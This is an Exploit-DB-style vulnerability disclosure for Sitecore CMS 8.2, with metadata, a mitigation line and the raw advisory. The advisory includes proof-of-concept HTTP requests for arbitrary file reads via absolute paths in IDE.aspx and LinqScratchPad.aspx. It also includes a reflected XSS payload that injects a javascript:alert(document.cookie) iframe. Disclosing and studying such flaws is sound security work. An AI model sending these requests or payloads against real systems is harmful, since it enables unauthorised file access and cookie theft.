Sitecore CMS v8.2 multiple vulnerabilities

vendor:

Sitecore CMS

by:

Usman Saeed

8.8

CVSS

HIGH

Arbitrary file access, Reflected Cross-site Scripting

22, 79

CWE

Product Name: Sitecore CMS

Affected Version From: 8.2

Affected Version To: 8.2

Patch Exists: YES

Related CWE: N/A

CPE: a:sitecore:sitecore_cms:8.2

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: N/A

2017

Sitecore CMS v8.2 multiple vulnerabilities

The vulnerability lies in the tools which can be accessed via the administrator user. The vulnerability exists because there is no bound check for absolute path in the application, that is, if the absolute path is provided to the vulnerable URL, it reads the path and shows the contents of the file requested. The application does not sanatize the USER input which allows a normal authenticated user to exploit this vulnerability.

Mitigation:

Ensure that all user input is properly sanitized and validated before being used in the application.

Source

Exploit-DB raw data:

Exploit title: Sitecore CMS v8.2  multiple vulnerabilities
Product: Sitecore
Version: 8.2, Rev: 161221, Date: 21st December, 2016
Date: 05-05-2017
Author: Usman Saeed
Email: usman@xc0re.net <%20usman@xc0re.net>
Vendor Homepage: http://www.sitecore.net/


Disclaimer: Everything mentioned below is for educational puposes. The
vulnerability details are mentioned as is. I would not be held responsible
for any misuse of this information.

Summary:
Multiple vulnerabilities were found in the Sitecore product.  The
vulnerabilities include two instances of arbitrary file access and once
instance of reflected cosssite scripting.

1: Arbitrary file access:

- Description:

The vulnerability lies in the tools which can be accessed via the
administrator user. The vulnerability exists because there is no bound
check for absolute path in the application, that is, if the absolute path
is provided to the vulnerable URL, it reads the path and shows the contents
of the file requested.

- Exploit:
1. Once authenticated as the administrator perform a GET request to the
followiung URL:
/sitecore/shell/Applications/Layouts/IDE.aspx?fi=c:\windows\win.ini

2. Once authenticated as the administrator perform a POST request to the
followiung URL:

POST /sitecore/admin/LinqScratchPad.aspx
HTTP/1.1
Host: <HOST>
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101
 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 1463
Referer: <OMITTED>
Cookie: <OMITTED>
Connection: close
Upgrade-Insecure-Requests: 1

__VIEWSTATE= &__VIEWSTATEGENERATOR=
&__EVENTVALIDATION=&LinqQuery=%0D%0A&Reference=c%3A%5Cwindows%
5Cwin.ini&Fetch=



2. Reflected Cross-site Scripting:
- Description:
The application does not sanatize the USER input which allows a normal
authenticated user to exploit this vulnerability.


- Exploit:

POST /sitecore/shell/Applications/Tools/Run HTTP/1.1
Host: <HOST>
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101
 Firefox/53.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Referer:  <OMITTED>
Content-Length: 518
Cookie:  <OMITTED>

&__PARAMETERS=run%3Aok&__EVENTTARGET=&__EVENTARGUMENT=&__SOURCE=&__EVENTTYPE=click&__CONTEXTMENU=&__MODIFIED=1&__ISEVENT=1&__SHIFTKEY=&__CTRLKEY=&__ALTKEY=&__BUTTON=0&__KEYCODE=undefined&__X=1763&__Y=883&__URL=https%3A///sitecore/shell/Applications/Tools/Run&__CSRFTOKEN=
&__VIEWSTATE=&__VIEWSTATE=&Program=%3F%3E%3C%3F%3E%3Ciframe%20src%3D%22Javascript%3Aalert(
document.cookie)%3B%22%3E%3C%2Fiframe%3E